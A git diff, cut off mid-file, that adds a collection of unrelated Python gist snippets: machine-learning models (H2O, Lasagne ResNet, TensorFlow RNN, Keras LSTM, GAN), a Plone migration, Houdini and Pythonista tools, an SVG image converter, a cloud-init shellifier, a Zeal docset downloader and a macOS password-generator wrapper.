+	fpr, tpr, thresholds = metrics.roc_curve(labels, preds, pos_label=1)
+	auc = metrics.auc(fpr, tpr)
+	print str(auc) + "  " + "H2O Ensemble" 
+
+	# Evaluate base learner test set performance (for comparison)
+	for model in models:
+		bperf = model.model_performance(test_data=test)
+		print str(bperf.auc()) + "  " + model.model_id
+
+	# 0.792100100148  H2O Ensemble
+	# 0.781849246474  GBM_model_python_1471654758738_1
+	# 0.782052358716  GBM_model_python_1471654758738_816
+	# 0.769195957061  GBM_model_python_1471654758738_1837
+	# 0.729095165124  DeepLearning_model_python_1471654758738_3028
+	# 0.691393671746  DeepLearning_model_python_1471654758738_3057
+	# 0.724608757556  DeepLearning_model_python_1471654758738_3086
+	# 0.78333120166  DRF_model_python_1471654758738_3115
+	# 0.787051172219  DRF_model_python_1471654758738_3896
+	# 0.687091955549  GLM_model_python_1471654758738_4639
+
+	# In this example, ensemble test AUC was 0.792 and the top base learner was 0.783
\ No newline at end of file
diff --git a/hard-gists/3d9ba175038a3f2e7de3794fa303f1ee/._snippet.py b/hard-gists/3d9ba175038a3f2e7de3794fa303f1ee/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3d9ba175038a3f2e7de3794fa303f1ee/._snippet.py differ
diff --git a/hard-gists/3d9ba175038a3f2e7de3794fa303f1ee/snippet.py b/hard-gists/3d9ba175038a3f2e7de3794fa303f1ee/snippet.py
new file mode 100644
index 00000000..56ea2d64
--- /dev/null
+++ b/hard-gists/3d9ba175038a3f2e7de3794fa303f1ee/snippet.py
@@ -0,0 +1,85 @@
+import lasagne
+from lasagne.nonlinearities import rectify, softmax
+from lasagne.layers import InputLayer, DenseLayer, DropoutLayer, batch_norm, BatchNormLayer
+from lasagne.layers import ElemwiseSumLayer, NonlinearityLayer, GlobalPoolLayer
+from lasagne.layers.dnn import Conv2DDNNLayer as ConvLayer
+from lasagne.init import HeNormal
+
+def ResNet_FullPre_Wide(input_var=None, n=3, k=2):
+    '''
+    Adapted from https://github.com/Lasagne/Recipes/tree/master/papers/deep_residual_learning.
+
+    Tweaked to be consistent with 'Identity Mappings in Deep Residual Networks', Kaiming He et al. 2016 (https://arxiv.org/abs/1603.05027)
+
+    And 'Wide Residual Networks', Sergey Zagoruyko, Nikos Komodakis 2016 (http://arxiv.org/pdf/1605.07146v1.pdf)
+    '''
+    n_filters = {0:16, 1:16*k, 2:32*k, 3:64*k}
+
+    # create a residual learning building block with two stacked 3x3 convlayers and dropout
+    def residual_block(l, increase_dim=False, first=False, filters=16):
+        if increase_dim:
+            first_stride = (2,2)
+        else:
+            first_stride = (1,1)
+
+        if first:
+            # hacky solution to keep layers correct
+            bn_pre_relu = l
+        else:
+            # contains the BN -> ReLU portion, steps 1 to 2
+            bn_pre_conv = BatchNormLayer(l)
+            bn_pre_relu = NonlinearityLayer(bn_pre_conv, rectify)
+
+        # contains the weight -> BN -> ReLU portion, steps 3 to 5
+        conv_1 = batch_norm(ConvLayer(bn_pre_relu, num_filters=filters, filter_size=(3,3), stride=first_stride, nonlinearity=rectify, pad='same', W=HeNormal(gain='relu')))
+
+        dropout = DropoutLayer(conv_1, p=0.3)
+
+        # contains the last weight portion, step 6
+        conv_2 = ConvLayer(dropout, num_filters=filters, filter_size=(3,3), stride=(1,1), nonlinearity=None, pad='same', W=HeNormal(gain='relu'))
+
+        # add shortcut connections
+        if increase_dim:
+            # projection shortcut, as option B in paper
+            projection = ConvLayer(l, num_filters=filters, filter_size=(1,1), stride=(2,2), nonlinearity=None, pad='same', b=None)
+            block = ElemwiseSumLayer([conv_2, projection])
+        elif first:
+            # projection shortcut, as option B in paper
+            projection = ConvLayer(l, num_filters=filters, filter_size=(1,1), stride=(1,1), nonlinearity=None, pad='same', b=None)
+            block = ElemwiseSumLayer([conv_2, projection])
+        else:
+            block = ElemwiseSumLayer([conv_2, l])
+
+        return block
+
+    # Building the network
+    l_in = InputLayer(shape=(None, 3, 32, 32), input_var=input_var)
+
+    # first layer=
+    l = batch_norm(ConvLayer(l_in, num_filters=n_filters[0], filter_size=(3,3), stride=(1,1), nonlinearity=rectify, pad='same', W=HeNormal(gain='relu')))
+
+    # first stack of residual blocks
+    l = residual_block(l, first=True, filters=n_filters[1])
+    for _ in range(1,n):
+        l = residual_block(l, filters=n_filters[1])
+
+    # second stack of residual blocks
+    l = residual_block(l, increase_dim=True, filters=n_filters[2])
+    for _ in range(1,n):
+        l = residual_block(l, filters=n_filters[2])
+
+    # third stack of residual blocks
+    l = residual_block(l, increase_dim=True, filters=n_filters[3])
+    for _ in range(1,n):
+        l = residual_block(l, filters=n_filters[3])
+
+    bn_post_conv = BatchNormLayer(l)
+    bn_post_relu = NonlinearityLayer(bn_post_conv, rectify)
+
+    # average pooling
+    avg_pool = GlobalPoolLayer(bn_post_relu)
+
+    # fully connected layer
+    network = DenseLayer(avg_pool, num_units=10, W=HeNormal(), nonlinearity=softmax)
+
+    return network
\ No newline at end of file
diff --git a/hard-gists/3de0abd7d18e6edc87dd/._snippet.py b/hard-gists/3de0abd7d18e6edc87dd/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3de0abd7d18e6edc87dd/._snippet.py differ
diff --git a/hard-gists/3de0abd7d18e6edc87dd/snippet.py b/hard-gists/3de0abd7d18e6edc87dd/snippet.py
new file mode 100644
index 00000000..8b7958c0
--- /dev/null
+++ b/hard-gists/3de0abd7d18e6edc87dd/snippet.py
@@ -0,0 +1,84 @@
+# -*- coding: utf-8 -*-
+from Products.CMFCore.utils import getToolByName
+from plone.app.textfield.value import RichTextValue
+from zope.component.hooks import getSite
+import logging
+
+
+log = logging.getLogger(__name__)
+
+
+# Old scale name to new scale name
+IMAGE_SCALE_MAP = {
+    'icon': 'icon',
+    'large': 'large',
+    'listing': 'listing',
+    'mini': 'mini',
+    'preview': 'preview',
+    'thumb': 'thumb',
+    'tile': 'tile',
+    # BBB
+    'article': 'preview',
+    'artikel': 'preview',
+    'carousel': 'preview',
+    'company_index': 'thumb',
+    'content': 'preview',
+    'leadimage': 'tile',
+    'portlet-fullpage': 'large',
+    'portlet-halfpage': 'large',
+    'portlet-links': 'thumb',
+    'portlet': 'thumb',
+    'staff_crop': 'thumb',
+    'staff_index': 'thumb',
+}
+
+
+def image_scale_fixer(text):
+
+    if text:
+        for old, new in IMAGE_SCALE_MAP.items():
+            # replace plone.app.imaging old scale names with new ones
+            text = text.replace(
+                '@@images/image/{0}'.format(old),
+                '@@images/image/{0}'.format(new)
+            )
+            # replace AT traversing scales
+            text = text.replace(
+                'image_{0}'.format(old),
+                '@@images/image/{0}'.format(new)
+            )
+
+    return text
+
+
+def fix_at_image_scales(context):
+    portal = getSite()
+    catalog = getToolByName(portal, 'portal_catalog')
+    query = {}
+    query['object_provides'] = 'plone.app.contenttypes.behaviors.richtext.IRichText'  # noqa
+    results = catalog(**query)
+    log.info('There are {0} in total, stating migration...'.format(
+        len(results)))
+    for result in results:
+        try:
+            obj = result.getObject()
+        except:
+            log.warning(
+                'Not possible to fetch object from catalog result for '
+                'item: {0}.'.format(result.getPath()))
+            continue
+
+        text = getattr(obj, 'text', None)
+        if text:
+            clean_text = image_scale_fixer(text.raw)
+            if clean_text != text.raw:
+                obj.text = RichTextValue(
+                    raw=clean_text,
+                    mimeType=text.mimeType,
+                    outputMimeType=text.outputMimeType,
+                    encoding=text.encoding
+                )
+                obj.reindexObject(idxs=('SearchableText', ))
+                log.info('Text cleanup for {0}'.format(
+                    '/'.join(obj.getPhysicalPath())
+                ))
diff --git a/hard-gists/3e1cfdb76005c901b7d3f8b1e6ba1557/._snippet.py b/hard-gists/3e1cfdb76005c901b7d3f8b1e6ba1557/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3e1cfdb76005c901b7d3f8b1e6ba1557/._snippet.py differ
diff --git a/hard-gists/3e1cfdb76005c901b7d3f8b1e6ba1557/snippet.py b/hard-gists/3e1cfdb76005c901b7d3f8b1e6ba1557/snippet.py
new file mode 100644
index 00000000..4d3fca62
--- /dev/null
+++ b/hard-gists/3e1cfdb76005c901b7d3f8b1e6ba1557/snippet.py
@@ -0,0 +1,22 @@
+import soptoolutils
+
+selection = None
+if type(kwargs['pane']) is hou.SceneViewer:
+    viewer = kwargs['pane']
+    selection = viewer.selectGeometry(geometry_types=(hou.geometryType.Primitives, hou.geometryType.Edges,))
+
+
+n = soptoolutils.genericTool(kwargs, '$HDA_NAME')
+
+if selection is not None:
+    selstring = ''
+    for sel in selection.selectionStrings():
+        selstring += sel
+        selstring += ' '
+    
+    if len(selstring) != 0:
+        geotype = selection.geometryType()
+        if geotype == hou.geometryType.Edges:
+            n.setParms({'group':selstring, 'grouptype':'edges'})
+        if geotype == hou.geometryType.Primitives:
+            n.setParms({'group':selstring, 'grouptype':'prims'})
\ No newline at end of file
diff --git a/hard-gists/3e5107b11d19ac62a2ed/._snippet.py b/hard-gists/3e5107b11d19ac62a2ed/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3e5107b11d19ac62a2ed/._snippet.py differ
diff --git a/hard-gists/3e5107b11d19ac62a2ed/snippet.py b/hard-gists/3e5107b11d19ac62a2ed/snippet.py
new file mode 100644
index 00000000..dc879a18
--- /dev/null
+++ b/hard-gists/3e5107b11d19ac62a2ed/snippet.py
@@ -0,0 +1,7 @@
+# source: http://stackoverflow.com/questions/1317714/how-can-i-filter-a-date-of-a-datetimefield-in-django
+
+from django.utils import timezone
+
+today_min = datetime.datetime.combine(timezone.now().date(), datetime.time.min)
+today_max = datetime.datetime.combine(timezone.now().date(), datetime.time.max)
+MyModel.objects.get(date__range=(today_min, today_max))
\ No newline at end of file
diff --git a/hard-gists/3e8b195ff63929db69ccc4e5287d8ae5/._snippet.py b/hard-gists/3e8b195ff63929db69ccc4e5287d8ae5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3e8b195ff63929db69ccc4e5287d8ae5/._snippet.py differ
diff --git a/hard-gists/3e8b195ff63929db69ccc4e5287d8ae5/snippet.py b/hard-gists/3e8b195ff63929db69ccc4e5287d8ae5/snippet.py
new file mode 100644
index 00000000..b047a6c4
--- /dev/null
+++ b/hard-gists/3e8b195ff63929db69ccc4e5287d8ae5/snippet.py
@@ -0,0 +1,38 @@
+# git clone from https://github.com/tkarras/progressive_growing_of_gans
+# download the snapshot from their Google drive
+# use the following code in the same directory to generate random faces
+import os
+import sys
+import time
+import glob
+import shutil
+import operator
+import theano
+import lasagne 
+import dataset
+import network
+from theano import tensor as T
+import config
+import misc
+import numpy as np
+import scipy.ndimage
+_, _, G = misc.load_pkl("network-snapshot-009041.pkl")
+
+class Net: pass
+
+net = Net()
+net.G = G
+
+import train
+
+num_example_latents = 10
+net.example_latents = train.random_latents(num_example_latents, net.G.input_shape)
+net.example_labels = net.example_latents
+net.latents_var = T.TensorType('float32', [False] * len(net.example_latents.shape))('latents_var')
+net.labels_var  = T.TensorType('float32', [False] * len(net.example_latents.shape)) ('labels_var')
+
+net.images_expr = net.G.eval(net.latents_var, net.labels_var, ignore_unused_inputs=True)
+net.images_expr = misc.adjust_dynamic_range(net.images_expr, [-1,1], [0,1])
+train.imgapi_compile_gen_fn(net)
+images = net.gen_fn(net.example_latents[:1], net.example_labels[:1])
+misc.save_image(images[0], "fake2b.png", drange=[0,1])
\ No newline at end of file
diff --git a/hard-gists/3f3b547ff68effb03e20c470af22c696/._snippet.py b/hard-gists/3f3b547ff68effb03e20c470af22c696/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3f3b547ff68effb03e20c470af22c696/._snippet.py differ
diff --git a/hard-gists/3f3b547ff68effb03e20c470af22c696/snippet.py b/hard-gists/3f3b547ff68effb03e20c470af22c696/snippet.py
new file mode 100644
index 00000000..f2868eb5
--- /dev/null
+++ b/hard-gists/3f3b547ff68effb03e20c470af22c696/snippet.py
@@ -0,0 +1,105 @@
+# Working example for my blog post at:
+# http://danijar.com/variable-sequence-lengths-in-tensorflow/
+import functools
+import sets
+import tensorflow as tf
+from tensorflow.models.rnn import rnn_cell
+from tensorflow.models.rnn import rnn
+
+
+def lazy_property(function):
+    attribute = '_' + function.__name__
+
+    @property
+    @functools.wraps(function)
+    def wrapper(self):
+        if not hasattr(self, attribute):
+            setattr(self, attribute, function(self))
+        return getattr(self, attribute)
+    return wrapper
+
+
+class VariableSequenceClassification:
+
+    def __init__(self, data, target, num_hidden=200, num_layers=2):
+        self.data = data
+        self.target = target
+        self._num_hidden = num_hidden
+        self._num_layers = num_layers
+        self.prediction
+        self.error
+        self.optimize
+
+    @lazy_property
+    def length(self):
+        used = tf.sign(tf.reduce_max(tf.abs(self.data), reduction_indices=2))
+        length = tf.reduce_sum(used, reduction_indices=1)
+        length = tf.cast(length, tf.int32)
+        return length
+
+    @lazy_property
+    def prediction(self):
+        # Recurrent network.
+        output, _ = rnn.dynamic_rnn(
+            rnn_cell.GRUCell(self._num_hidden),
+            data,
+            dtype=tf.float32,
+            sequence_length=self.length,
+        )
+        last = self._last_relevant(output, self.length)
+        # Softmax layer.
+        weight, bias = self._weight_and_bias(
+            self._num_hidden, int(self.target.get_shape()[1]))
+        prediction = tf.nn.softmax(tf.matmul(last, weight) + bias)
+        return prediction
+
+    @lazy_property
+    def cost(self):
+        cross_entropy = -tf.reduce_sum(self.target * tf.log(self.prediction))
+        return cross_entropy
+
+    @lazy_property
+    def optimize(self):
+        learning_rate = 0.003
+        optimizer = tf.train.RMSPropOptimizer(learning_rate)
+        return optimizer.minimize(self.cost)
+
+    @lazy_property
+    def error(self):
+        mistakes = tf.not_equal(
+            tf.argmax(self.target, 1), tf.argmax(self.prediction, 1))
+        return tf.reduce_mean(tf.cast(mistakes, tf.float32))
+
+    @staticmethod
+    def _weight_and_bias(in_size, out_size):
+        weight = tf.truncated_normal([in_size, out_size], stddev=0.01)
+        bias = tf.constant(0.1, shape=[out_size])
+        return tf.Variable(weight), tf.Variable(bias)
+
+    @staticmethod
+    def _last_relevant(output, length):
+        batch_size = tf.shape(output)[0]
+        max_length = int(output.get_shape()[1])
+        output_size = int(output.get_shape()[2])
+        index = tf.range(0, batch_size) * max_length + (length - 1)
+        flat = tf.reshape(output, [-1, output_size])
+        relevant = tf.gather(flat, index)
+        return relevant
+
+
+if __name__ == '__main__':
+    # We treat images as sequences of pixel rows.
+    train, test = sets.Mnist()
+    _, rows, row_size = train.data.shape
+    num_classes = train.target.shape[1]
+    data = tf.placeholder(tf.float32, [None, rows, row_size])
+    target = tf.placeholder(tf.float32, [None, num_classes])
+    model = VariableSequenceClassification(data, target)
+    sess = tf.Session()
+    sess.run(tf.initialize_all_variables())
+    for epoch in range(10):
+        for _ in range(100):
+            batch = train.sample(10)
+            sess.run(model.optimize, {data: batch.data, target: batch.target})
+        error = sess.run(model.error, {data: test.data, target: test.target})
+        print('Epoch {:2d} error {:3.1f}%'.format(epoch + 1, 100 * error))
\ No newline at end of file
diff --git a/hard-gists/3f9c80ff42879cad41bf/._snippet.py b/hard-gists/3f9c80ff42879cad41bf/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3f9c80ff42879cad41bf/._snippet.py differ
diff --git a/hard-gists/3f9c80ff42879cad41bf/snippet.py b/hard-gists/3f9c80ff42879cad41bf/snippet.py
new file mode 100644
index 00000000..cb5ff8fa
--- /dev/null
+++ b/hard-gists/3f9c80ff42879cad41bf/snippet.py
@@ -0,0 +1,29 @@
+#! /usr/bin/env python
+
+import xml.etree.ElementTree as ET
+import sys
+import base64
+import os
+import StringIO
+from PIL import Image
+
+
+PREFIX_PNG = "data:image/png;base64,"
+PREFIX_JPG = "data:image/jpg;base64,"
+ATTR = "{http://www.w3.org/1999/xlink}href"
+DEFAULT_NS = "http://www.w3.org/2000/svg"
+
+with open(sys.argv[1]) as svgfile:
+    root = ET.parse(svgfile)
+    file_id = 1
+    base_name = os.path.splitext(sys.argv[1])[0]
+    for e in root.findall(".//{%s}image" % DEFAULT_NS):
+        href = e.get(ATTR)
+        if href and href.startswith(PREFIX_PNG):
+            pngimage = StringIO.StringIO()
+            jpgimage = StringIO.StringIO()
+            pngimage.write(base64.b64decode(href[len(PREFIX_PNG):]))
+            Image.open(pngimage).save(jpgimage, "JPEG")
+            e.set(ATTR, PREFIX_JPG + base64.b64encode(jpgimage.getvalue()))
+
+root.write(sys.argv[1])
diff --git a/hard-gists/3fb234c37b5c2c934b79/._snippet.py b/hard-gists/3fb234c37b5c2c934b79/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3fb234c37b5c2c934b79/._snippet.py differ
diff --git a/hard-gists/3fb234c37b5c2c934b79/snippet.py b/hard-gists/3fb234c37b5c2c934b79/snippet.py
new file mode 100644
index 00000000..3994eaf8
--- /dev/null
+++ b/hard-gists/3fb234c37b5c2c934b79/snippet.py
@@ -0,0 +1,68 @@
+#!/usr/bin/python
+
+"""
+This script take a cloud-config file as input and returns the 'shellified'
+script that would be produced by cloudinit from the runcmd stanza.
+
+https://github.com/number5/cloud-init/blob/74e61ab27addbfcceac4eba254f739ef9964b0ed/cloudinit/config/cc_runcmd.py
+https://github.com/number5/cloud-init/blob/74e61ab27addbfcceac4eba254f739ef9964b0ed/cloudinit/util.py#L1708
+"""
+
+import sys
+import os
+import yaml
+import six
+
+def handle(cfg):
+    if "runcmd" not in cfg:
+        print("Skipping, no 'runcmd' key in configuration")
+        return
+
+    cmd = cfg["runcmd"]
+    try:
+        content = shellify(cmd)
+    except Exception as e:
+        print("Failed to shellify:\nError: {0}\n{1}").format(e, cmd)
+
+    return content
+
+def shellify(cmdlist, add_header=True):
+    content = ''
+    if add_header:
+        content += "#!/bin/sh\n"
+    escaped = "%s%s%s%s" % ("'", '\\', "'", "'")
+    cmds_made = 0
+    for args in cmdlist:
+        # If the item is a list, wrap all items in single tick.
+        # If its not, then just write it directly.
+        if isinstance(args, list):
+            fixed = []
+            for f in args:
+                fixed.append("'%s'" % (six.text_type(f).replace("'", escaped)))
+            content = "%s%s\n" % (content, ' '.join(fixed))
+            cmds_made += 1
+        elif isinstance(args, six.string_types):
+            content = "%s%s\n" % (content, args)
+            cmds_made += 1
+        else:
+            raise RuntimeError(("Unable to shellify type %s"
+                                " which is not a list or string")
+                               % (type_utils.obj_name(args)))
+    print("Shellified {} commands.\n").format(cmds_made)
+
+    return content
+
+if __name__ == "__main__":
+    if not len(sys.argv) > 1:
+        print("Requires the full path to a file with a list of tutorial slugs.")
+        sys.exit()
+    else:
+        fn = sys.argv[1]
+        with open(fn, 'r') as fh:
+            try:
+                cfg = yaml.safe_load(fh.read())
+                script = handle(dict(cfg))
+                if script:
+                    print(script)
+            except Exception as e:
+                print("Error parsing yaml:\n\n{}").format(e)
\ No newline at end of file
diff --git a/hard-gists/3fb443494f111eeb96e39cce1873070d/._snippet.py b/hard-gists/3fb443494f111eeb96e39cce1873070d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3fb443494f111eeb96e39cce1873070d/._snippet.py differ
diff --git a/hard-gists/3fb443494f111eeb96e39cce1873070d/snippet.py b/hard-gists/3fb443494f111eeb96e39cce1873070d/snippet.py
new file mode 100644
index 00000000..766edb0f
--- /dev/null
+++ b/hard-gists/3fb443494f111eeb96e39cce1873070d/snippet.py
@@ -0,0 +1,47 @@
+###############################
+# Script made by @ivanmorenoz #
+###############################
+
+# Description: this script uses Pythonista Objc Bridging for unlocking the PDF using PDFKit
+
+from objc_util import ObjCClass, nsurl
+from appex import get_file_paths, finish, is_running_extension
+from os import remove, path
+from console import alert, input_alert, quicklook
+
+def showAlert(msg,file):
+	alert(msg, file, "OK", hide_cancel_button=True)
+	
+def main():
+
+	if not is_running_extension():
+		print('This script is intended to be run from the sharing extension.')
+		return
+		
+	files = get_file_paths()
+	
+	if not files:
+		alert('No files were specified')
+		return
+	
+	for file in files:
+		filename = path.basename(file)
+		
+		if not filename.endswith('.pdf'):
+			showAlert('Only PDF are allowed', filename)
+			continue
+	
+		pdf = ObjCClass('PDFDocument').alloc().initWithURL(nsurl(file))
+
+		if pdf.isEncrypted():
+			pwd = input_alert('Password', filename)
+			if pdf.unlockWithPassword_(pwd):
+				pdf.writeToFile_(file)
+			else:
+				showAlert("Wrong Password", filename)
+		else:
+			showAlert("This PDF is not encrypted", filename)
+	finish()
+
+if __name__ == '__main__':
+	main()	
\ No newline at end of file
diff --git a/hard-gists/3fdd80a08808bd275142d46863e92d68/._snippet.py b/hard-gists/3fdd80a08808bd275142d46863e92d68/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3fdd80a08808bd275142d46863e92d68/._snippet.py differ
diff --git a/hard-gists/3fdd80a08808bd275142d46863e92d68/snippet.py b/hard-gists/3fdd80a08808bd275142d46863e92d68/snippet.py
new file mode 100644
index 00000000..792a5ea1
--- /dev/null
+++ b/hard-gists/3fdd80a08808bd275142d46863e92d68/snippet.py
@@ -0,0 +1,118 @@
+#!/usr/bin/env python
+from __future__ import print_function
+from keras.models import Sequential
+from keras.layers import TimeDistributed
+from keras.layers.core import Dense, Activation, Dropout, RepeatVector, TimeDistributedDense
+from keras.layers.recurrent import LSTM
+from keras.utils.data_utils import get_file
+import numpy as np
+import random,string
+import sys
+
+path = get_file('nietzsche.txt', origin="https://s3.amazonaws.com/text-datasets/nietzsche.txt")
+
+try: 
+    text = open(path).read().lower()
+except UnicodeDecodeError:
+    import codecs
+    text = codecs.open(path, encoding='utf-8').read().lower()
+
+print('corpus length:', len(text))
+
+chars = set(text)
+print('total chars:', len(chars))
+char_indices = dict((c, i) for i, c in enumerate(chars))
+indices_char = dict((i, c) for i, c in enumerate(chars))
+
+maxlen = 4 # might be much easier with 3 or 2...
+nbatch = 32
+
+print('Vectorization...')
+X = np.zeros((len(text), len(chars)), dtype=np.bool)
+for t, char in enumerate(text):
+    X[t, char_indices[char]] = 1
+
+
+# build the model: 2 stacked LSTM
+print('Build model...')
+model = Sequential()
+model.add(LSTM(512, stateful=True, return_sequences=False, batch_input_shape=(nbatch, maxlen, len(chars))))
+model.add(Dense(256, activation='relu'))
+model.add(RepeatVector(maxlen))
+model.add(LSTM(512, stateful=True, return_sequences=True))
+model.add(TimeDistributed(Dense(len(chars))))
+model.add(Activation('softmax'))
+
+model.compile(loss='categorical_crossentropy', optimizer='adam')
+
+
+def sample(a, temperature=1.0):
+    # helper function to sample an index from a probability array
+    a = np.log(a) / temperature
+    a = np.exp(a) / np.sum(np.exp(a))
+    return np.argmax(np.random.multinomial(1, a, 1))
+
+# start with a small sample that increases each iteration
+numsamps = len(X)/100
+numsampinc = len(X)/100
+
+# train the model, output generated text after each iteration
+for iteration in range(1, 100):
+    print()
+    print('-' * 50)
+    print('Iteration', iteration)
+
+    # get consecutive sequences for each "lane" by breaking the dataset
+    # into 'nbatch' regions
+    # X[0] X[s] X[2*s] ... X[(nbatch-1)*s] X[1] X[s+1] X[2*s+1] ...
+    numsamps = min(len(X), numsamps)
+    numsamps += numsampinc
+
+    stride = int((numsamps-maxlen)/nbatch)
+    sampsperbatch = int(stride/maxlen)
+    totalsamps = sampsperbatch*nbatch
+    XXs = np.zeros((totalsamps, maxlen, len(chars)), dtype=np.bool)
+    YYs = np.zeros((totalsamps, maxlen, len(chars)), dtype=np.bool)
+    for i in range(0,sampsperbatch):
+      for j in range(0,nbatch):
+        ofs = j*stride+i*maxlen
+        XX = X[ofs:ofs+maxlen]
+        YY = X[ofs+maxlen:ofs+maxlen*2]
+        XXs[i*nbatch+j] = XX
+        YYs[i*nbatch+j] = YY
+    
+    model.reset_states()
+    model.fit(XXs, YYs, batch_size=nbatch, nb_epoch=3, shuffle=False)
+
+    start_index = random.randint(0, len(text) - maxlen - 1)
+
+    for diversity in [0.2, 0.5, 1.0, 1.2]:
+        print()
+        print('----- diversity:', diversity)
+
+        generated = ''
+        sentence = text[start_index: start_index + maxlen]
+        generated += sentence
+        print('----- Generating with seed: "' + sentence + '"')
+        sys.stdout.write(generated)
+
+        model.reset_states()
+        for i in range(400/maxlen):
+            x = np.zeros((nbatch, maxlen, len(chars)))
+            for t, char in enumerate(sentence):
+                x[0, t, char_indices[char]] = 1.
+
+            # just get prediction from 1st batch
+            preds_seq = model.predict(x, verbose=0)[0]
+            
+            # don't know if this is correct since each successive sample
+            # doesn't take into account the prior...
+            next_indices = [sample(preds, diversity) for preds in preds_seq]
+            next_chars = string.join([indices_char[next_index] for next_index in next_indices],'')
+
+            generated += next_chars
+            sentence = next_chars
+
+            sys.stdout.write(next_chars)
+            sys.stdout.flush()
+        print()
diff --git a/hard-gists/3fe84c05013fa87d74a8/._snippet.py b/hard-gists/3fe84c05013fa87d74a8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3fe84c05013fa87d74a8/._snippet.py differ
diff --git a/hard-gists/3fe84c05013fa87d74a8/snippet.py b/hard-gists/3fe84c05013fa87d74a8/snippet.py
new file mode 100644
index 00000000..c90c944a
--- /dev/null
+++ b/hard-gists/3fe84c05013fa87d74a8/snippet.py
@@ -0,0 +1,80 @@
+import os
+import json
+import tarfile
+import urllib.request
+import easygui
+import configparser
+
+user_docsets_url = 'https://dashes-to-dashes.herokuapp.com/docsets/contrib'
+app_title = 'Download Zeal user docsets'
+
+
+def get_user_docsets(url):
+    response = urllib.request.urlopen(url)
+    data = response.read()
+    text = data.decode('utf-8')
+    docsets = json.loads(text)
+    return docsets
+
+
+def choose_docset(user_docsets):
+    msg = "Choose which user docset to download."
+    choice = easygui.multchoicebox(
+        msg, app_title, [d['name'] for d in user_docsets])
+    return choice
+
+
+def get_zeal_docsets_dir():
+    config = configparser.ConfigParser()
+    config.read([os.path.expanduser('~/.config/Zeal/Zeal.conf')])
+    return config['docsets']['path']
+
+
+def download_docset(url, directory):
+    with urllib.request.urlopen(url) as response:
+        with tarfile.open(fileobj=response, mode='r:gz') as tar:
+            tar.extractall(directory)
+
+
+def search_url(choice, user_docsets):
+    return [d['archive'] for d in user_docsets if d['name'] == choice][0]
+
+
+def confirm_docset_download(choice, docset_url, docsets_dir):
+    return easygui.ccbox('The {0} docset will be downloaded from {1} and extracted into {2}.\n\nPlease wait.'.format(choice, docset_url, docsets_dir), app_title)
+
+
+def docset_successfully_downloaded(choice):
+    easygui.msgbox(
+        '{0} docset successfully downloaded.'.format(choice), app_title)
+
+
+def download_more_docsets():
+    return easygui.ynbox('Do you want to download another docset?', app_title, ('Yes', 'No'))
+
+
+def exit_message():
+    easygui.msgbox(
+        'Bye bye.\n\nPlease remember to restart Zeal to refresh the docsets.', app_title, 'Quit')
+
+
+def show_exception(e):
+    easygui.exceptionbox('Error: {0}'.format(e), app_title)
+
+if __name__ == '__main__':
+    try:
+        user_docsets = get_user_docsets(user_docsets_url)
+        while True:
+            choice = choose_docset(user_docsets)
+            if not choice:
+                break
+            docset_url = search_url(choice, user_docsets)
+            docsets_dir = get_zeal_docsets_dir()
+            if confirm_docset_download(choice, docset_url, docsets_dir):
+                download_docset(docset_url, docsets_dir)
+                docset_successfully_downloaded(choice)
+            if not download_more_docsets():
+                break
+        exit_message()
+    except Exception as e:
+        show_exception(e)
\ No newline at end of file
diff --git a/hard-gists/3ff4278c609ce223ebb4fc300c5edd0f/._snippet.py b/hard-gists/3ff4278c609ce223ebb4fc300c5edd0f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3ff4278c609ce223ebb4fc300c5edd0f/._snippet.py differ
diff --git a/hard-gists/3ff4278c609ce223ebb4fc300c5edd0f/snippet.py b/hard-gists/3ff4278c609ce223ebb4fc300c5edd0f/snippet.py
new file mode 100644
index 00000000..ad2c9033
--- /dev/null
+++ b/hard-gists/3ff4278c609ce223ebb4fc300c5edd0f/snippet.py
@@ -0,0 +1,105 @@
+# Hat tip to https://github.com/anders/pwgen for various initial documentation
+# For an alternative method, check out:
+# https://gist.github.com/pudquick/8d3dedc337161b187a8a1c9564c83463
+
+import objc
+from Foundation import NSBundle, NSMutableArray, NSString
+
+SecurityFoundation = NSBundle.bundleWithPath_('/System/Library/Frameworks/SecurityFoundation.framework')
+success = SecurityFoundation.load()
+
+PASS_MIN_LENGTH  = 4
+PASS_MAX_LENGTH  = 1024
+PASS_MAX_REQUEST = 15
+
+algorithm = {
+             'memorable':    0,
+             'random':       1,
+             'letters':      2, # FIPS-181 compliant
+             'alphanumeric': 3,
+             'numbers':      4,
+}
+
+SFPWAContextRef = objc.createOpaquePointerType("SFPWAContextRef", b"^{_SFPWAContext=}", None)
+
+functions = [
+             ('SFPWAPolicyCopyDefault', '@'),
+             ('SFPWAContextCreateWithDefaults', '^{_SFPWAContext=}'),
+             ('SFPWAContextCreate', '^{_SFPWAContext=}'),
+             ('SFPWAContextLoadDictionaries', 'v^{_SFPWAContext=}^{__CFArray=}I'),
+             ('SFPWAPasswordSuggest', '@^{_SFPWAContext=}^{__CFDictionary=}IIII'),
+             ('SFPWAPasswordEvaluator', '@^{_SFPWAContext=}^{__CFString=}I^{__CFDictionary=}'),
+             ('SFPWAPolicyParse', 'v^{_SFPWAContext=}^{__CFDictionary=}'),
+            ]
+
+objc.loadBundleFunctions(SecurityFoundation, globals(), functions)
+
+def password_languages():
+    policy = SFPWAPolicyCopyDefault()
+    return policy.get('Languages-Evaluate','').split(',')
+
+def password_suggested_language():
+    policy = SFPWAPolicyCopyDefault()
+    return policy.get('Languages-Suggest','')
+
+def load_dictionaries(context_ref, language_list):
+    # The function is a bit picky about making sure we pass a clean NSArray with NSStrings
+    langs = NSMutableArray.array()
